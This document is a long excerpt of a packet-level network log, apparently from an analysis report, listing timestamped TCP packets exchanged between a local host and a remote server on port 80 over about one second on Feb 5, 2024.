Feb 5, 2024 10:57:26.518475056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518482924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518500090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518501043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518517017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518536091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518548965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518553019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518570900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518578053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518589973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518609047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518614054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518627882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518641949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518646955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518661022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518691063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518717051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518735886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518737078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518754959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518774033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518779039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518793106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518810987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518831968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518883944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518893003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518912077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518929005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518946886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518949032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.518965006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518982887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.518992901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519020081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519035101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519053936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519072056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519110918 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519121885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519140005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519155979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519160032 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519190073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519207001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519213915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519227028 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519232035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519254923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519260883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519279003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519298077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519328117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519345999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519362926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519378901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519385099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519397020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519407988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519431114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519460917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519479036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519519091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519582033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519599915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519599915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519620895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519638062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519642115 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519655943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519675016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519675016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519695044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519711971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519711971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519731998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519732952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519750118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519763947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519793034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519814968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519833088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519906044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.519908905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.519952059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520021915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520039082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520056009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520061016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520075083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520092964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520108938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520109892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520126104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520128965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520147085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520164967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520172119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520183086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520200014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520203114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520220041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520258904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520282030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520309925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520313025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520328045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520337105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520354986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520387888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520391941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520409107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520427942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520427942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520476103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520492077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520510912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520529985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520546913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520565033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520592928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520596981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520616055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520633936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520633936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520653963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520663023 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520688057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520704985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520721912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520729065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520741940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520752907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520776987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520807981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520826101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520844936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520864010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520869017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520883083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520903111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520920038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520937920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520956039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.520963907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.520973921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521002054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521019936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521038055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521055937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521090984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521121025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521183014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521202087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521207094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521220922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521238089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521238089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521258116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521272898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521275997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521286011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521295071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521311998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521316051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521330118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521358013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521395922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521413088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521429062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521446943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521451950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521465063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521477938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521483898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521501064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521502972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521518946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521536112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521553040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521553993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521572113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521604061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521621943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521639109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521648884 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521673918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521676064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521692991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521797895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521806955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521816969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521833897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521852016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521855116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521871090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521895885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521905899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521905899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521914959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521934032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.521939993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521974087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.521985054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522032976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522049904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522051096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522069931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522083044 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522089005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522106886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522106886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522141933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522151947 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522160053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522226095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522243023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522260904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522265911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522278070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522289991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522322893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522384882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522501945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522519112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522535086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522545099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522552013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522569895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522571087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522587061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522605896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522609949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522624016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522641897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522659063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522663116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522676945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522691011 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522696018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522715092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522731066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522737980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522752047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522754908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522773981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522799969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522838116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522839069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522856951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522875071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522885084 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522912025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522926092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522944927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522963047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522975922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.522979975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.522986889 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523015976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523044109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523061991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523080111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523097992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523109913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523114920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523137093 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523197889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523216963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523233891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523236036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523277998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523298025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523317099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523333073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523350954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523374081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523396969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523416042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523433924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523451090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.523487091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523660898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.523694992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758301973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758425951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758466005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758503914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758529902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758542061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758582115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758620024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758656025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758692026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758714914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758714914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758714914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758728981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758768082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758802891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758826971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758840084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758871078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.758878946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758917093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758953094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.758970022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759008884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759011984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759047031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759085894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759124041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759136915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759166956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759181023 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759218931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759257078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759293079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759316921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759330034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759336948 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759366989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759402990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759437084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759459019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759481907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759500980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759521008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759557962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759594917 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759608984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759633064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759641886 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759673119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759708881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759746075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759758949 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759783983 CET	80	49735	91.215.85.120	192.168.2.4
